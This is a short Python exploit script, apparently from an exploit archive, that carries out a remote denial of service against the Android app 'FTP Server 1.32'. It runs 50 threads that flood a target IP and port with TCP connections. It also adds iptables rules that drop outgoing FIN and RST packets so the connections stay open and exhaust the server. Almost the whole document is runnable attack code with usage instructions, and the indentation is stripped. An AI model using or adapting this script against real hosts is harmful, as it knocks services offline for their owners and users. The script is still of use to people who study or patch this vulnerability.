FTP Server 1.32 Denial Of Service

`#!/usr/bin/env python  
#coding: utf-8  
  
# ************************************************************************  
# * Author: Marcelo VA!zquez (aka s4vitar) *  
# * FTP Server 1.32 Remote Denial of Service (DoS) *  
# ************************************************************************  
  
# Exploit Title: FTP Server 1.32 Remote Denial of Service (DoS)  
# Date: 2019-02-26  
# Exploit Author: Marcelo VA!zquez (aka s4vitar)  
# Vendor: The Olive Tree  
# Software Link: https://play.google.com/store/apps/details?id=com.theolivetree.ftpserver  
# Category: Mobile Apps  
# Version: <= FTP Server 1.32  
# Tested on: Android  
  
import socket, random, string, signal, ssl, argparse, sys  
from time import sleep  
from threading import Thread, active_count  
from os import system, geteuid  
  
if geteuid() != 0:  
print("\nPlease, run %s as root...\n" % sys.argv[0])  
sys.exit()  
  
stop = False  
  
def signal_handler(signal, frame):  
global stop  
stop = True  
  
def spam(target_ip, port):  
while True:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(2)  
try:  
s.connect((target_ip, port))  
except:  
pass  
if stop == True:  
break  
  
if __name__ == '__main__':  
  
signal.signal(signal.SIGINT, signal_handler)  
  
if len(sys.argv) != 3:  
print "\nUsage: python " + sys.argv[0] + " <ip-address> <port>\n"  
sys.exit(1)  
  
target = sys.argv[1]  
port = int(sys.argv[2])  
  
target_ip = socket.gethostbyname(target)  
  
system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))  
system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))  
  
threads = []  
  
payload = ''  
  
for i in xrange(0,50):  
t = Thread(target=spam, args=(target_ip, port,))  
threads.append(t)  
t.start()  
  
while True:  
  
if active_count() == 1 or stop == True:  
  
system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))  
system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))  
print("")  
break  
`